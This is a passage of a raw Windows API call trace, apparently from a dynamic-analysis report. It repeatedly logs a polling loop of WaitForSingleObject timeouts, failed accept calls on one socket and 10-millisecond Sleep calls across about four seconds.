dwMilliseconds=0x1) returned 0x102 [0123.778] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.778] Sleep (dwMilliseconds=0xa) [0123.798] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.809] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.809] Sleep (dwMilliseconds=0xa) [0123.825] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.841] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.841] Sleep (dwMilliseconds=0xa) [0123.856] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.903] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.903] Sleep (dwMilliseconds=0xa) [0123.918] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.939] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.940] Sleep (dwMilliseconds=0xa) [0123.950] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.965] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.965] Sleep (dwMilliseconds=0xa) [0123.981] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.996] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0123.997] Sleep (dwMilliseconds=0xa) [0124.012] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.051] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.051] Sleep (dwMilliseconds=0xa) [0124.072] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.075] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.075] Sleep (dwMilliseconds=0xa) [0124.090] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.106] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.106] Sleep (dwMilliseconds=0xa) [0124.121] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.137] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.137] Sleep (dwMilliseconds=0xa) [0124.153] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.215] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.215] Sleep (dwMilliseconds=0xa) [0124.269] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.308] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.308] Sleep (dwMilliseconds=0xa) [0124.341] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.355] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.355] Sleep (dwMilliseconds=0xa) [0124.371] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.418] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.418] Sleep (dwMilliseconds=0xa) [0124.433] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.449] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.449] Sleep (dwMilliseconds=0xa) [0124.464] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.480] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.480] Sleep (dwMilliseconds=0xa) [0124.496] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.511] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.511] Sleep (dwMilliseconds=0xa) [0124.527] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.574] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.574] Sleep (dwMilliseconds=0xa) [0124.589] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.605] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.605] Sleep (dwMilliseconds=0xa) [0124.620] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.636] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.636] Sleep (dwMilliseconds=0xa) [0124.652] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.667] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.667] Sleep (dwMilliseconds=0xa) [0124.683] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.730] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.730] Sleep (dwMilliseconds=0xa) [0124.750] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.761] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.761] Sleep (dwMilliseconds=0xa) [0124.776] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.796] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.796] Sleep (dwMilliseconds=0xa) [0124.808] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.823] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.823] Sleep (dwMilliseconds=0xa) [0124.839] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.873] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.873] Sleep (dwMilliseconds=0xa) [0124.886] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.901] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.901] Sleep (dwMilliseconds=0xa) [0124.917] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.938] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.938] Sleep (dwMilliseconds=0xa) [0124.948] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.964] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.964] Sleep (dwMilliseconds=0xa) [0124.979] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.995] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0124.995] Sleep (dwMilliseconds=0xa) [0125.011] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.027] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.027] Sleep (dwMilliseconds=0xa) [0125.042] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.058] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.058] Sleep (dwMilliseconds=0xa) [0125.073] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.089] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.089] Sleep (dwMilliseconds=0xa) [0125.104] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.120] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.120] Sleep (dwMilliseconds=0xa) [0125.135] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.151] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.151] Sleep (dwMilliseconds=0xa) [0125.166] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.182] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.182] Sleep (dwMilliseconds=0xa) [0125.198] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.213] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.213] Sleep (dwMilliseconds=0xa) [0125.229] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.245] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.245] Sleep (dwMilliseconds=0xa) [0125.260] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.276] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.276] Sleep (dwMilliseconds=0xa) [0125.291] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.307] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.307] Sleep (dwMilliseconds=0xa) [0125.322] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.338] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.338] Sleep (dwMilliseconds=0xa) [0125.354] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.417] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.417] Sleep (dwMilliseconds=0xa) [0125.446] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.447] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.447] Sleep (dwMilliseconds=0xa) [0125.463] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.494] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.494] Sleep (dwMilliseconds=0xa) [0125.510] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.525] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.525] Sleep (dwMilliseconds=0xa) [0125.541] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.557] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.557] Sleep (dwMilliseconds=0xa) [0125.572] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.588] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.588] Sleep (dwMilliseconds=0xa) [0125.604] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.639] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.639] Sleep (dwMilliseconds=0xa) [0125.650] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.666] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.666] Sleep (dwMilliseconds=0xa) [0125.681] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.697] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.697] Sleep (dwMilliseconds=0xa) [0125.712] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.760] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.760] Sleep (dwMilliseconds=0xa) [0125.775] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.796] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.796] Sleep (dwMilliseconds=0xa) [0125.806] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.822] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.822] Sleep (dwMilliseconds=0xa) [0125.837] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.853] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.853] Sleep (dwMilliseconds=0xa) [0125.868] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.884] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.884] Sleep (dwMilliseconds=0xa) [0125.900] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.915] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.915] Sleep (dwMilliseconds=0xa) [0125.931] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0125.972] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0125.972] Sleep (dwMilliseconds=0xa) [0125.982] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.009] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.009] Sleep (dwMilliseconds=0xa) [0126.025] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.040] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.040] Sleep (dwMilliseconds=0xa) [0126.056] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.071] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.071] Sleep (dwMilliseconds=0xa) [0126.087] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.145] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.145] Sleep (dwMilliseconds=0xa) [0126.149] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.165] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.165] Sleep (dwMilliseconds=0xa) [0126.181] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.196] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.196] Sleep (dwMilliseconds=0xa) [0126.212] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.227] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.227] Sleep (dwMilliseconds=0xa) [0126.244] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.259] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.259] Sleep (dwMilliseconds=0xa) [0126.275] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.290] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.290] Sleep (dwMilliseconds=0xa) [0126.305] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.321] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.321] Sleep (dwMilliseconds=0xa) [0126.337] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.352] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.352] Sleep (dwMilliseconds=0xa) [0126.368] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.383] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.383] Sleep (dwMilliseconds=0xa) [0126.399] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.414] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.414] Sleep (dwMilliseconds=0xa) [0126.430] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.487] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.487] Sleep (dwMilliseconds=0xa) [0126.524] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.561] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.561] Sleep (dwMilliseconds=0xa) [0126.570] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.586] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.586] Sleep (dwMilliseconds=0xa) [0126.602] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.617] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.617] Sleep (dwMilliseconds=0xa) [0126.633] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.704] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.704] Sleep (dwMilliseconds=0xa) [0126.711] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.726] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.726] Sleep (dwMilliseconds=0xa) [0126.742] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.758] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.758] Sleep (dwMilliseconds=0xa) [0126.774] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.836] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.836] Sleep (dwMilliseconds=0xa) [0126.852] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.867] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.868] Sleep (dwMilliseconds=0xa) [0126.886] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.898] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.898] Sleep (dwMilliseconds=0xa) [0126.914] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.929] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.929] Sleep (dwMilliseconds=0xa) [0126.959] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.975] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.975] Sleep (dwMilliseconds=0xa) [0126.976] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0126.992] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0126.992] Sleep (dwMilliseconds=0xa) [0127.007] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.023] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.023] Sleep (dwMilliseconds=0xa) [0127.039] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.054] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.054] Sleep (dwMilliseconds=0xa) [0127.070] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.085] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.085] Sleep (dwMilliseconds=0xa) [0127.101] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.118] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.118] Sleep (dwMilliseconds=0xa) [0127.132] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.149] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.149] Sleep (dwMilliseconds=0xa) [0127.164] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.179] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.179] Sleep (dwMilliseconds=0xa) [0127.195] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.223] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.223] Sleep (dwMilliseconds=0xa) [0127.226] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.241] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.241] Sleep (dwMilliseconds=0xa) [0127.257] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.272] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.273] Sleep (dwMilliseconds=0xa) [0127.288] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.304] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.304] Sleep (dwMilliseconds=0xa) [0127.319] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.339] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.339] Sleep (dwMilliseconds=0xa) [0127.351] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.366] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.366] Sleep (dwMilliseconds=0xa) [0127.382] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.397] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.398] Sleep (dwMilliseconds=0xa) [0127.413] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.428] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.428] Sleep (dwMilliseconds=0xa) [0127.444] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.460] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.460] Sleep (dwMilliseconds=0xa) [0127.475] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.491] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.491] Sleep (dwMilliseconds=0xa) [0127.507] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.522] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.522] Sleep (dwMilliseconds=0xa) [0127.538] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.579] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.579] Sleep (dwMilliseconds=0xa) [0127.616] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.663] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.663] Sleep (dwMilliseconds=0xa) [0127.678] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.694] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.694] Sleep (dwMilliseconds=0xa) [0127.709] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.725] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0127.725] Sleep (dwMilliseconds=0xa) [0127.740] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0127.759] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 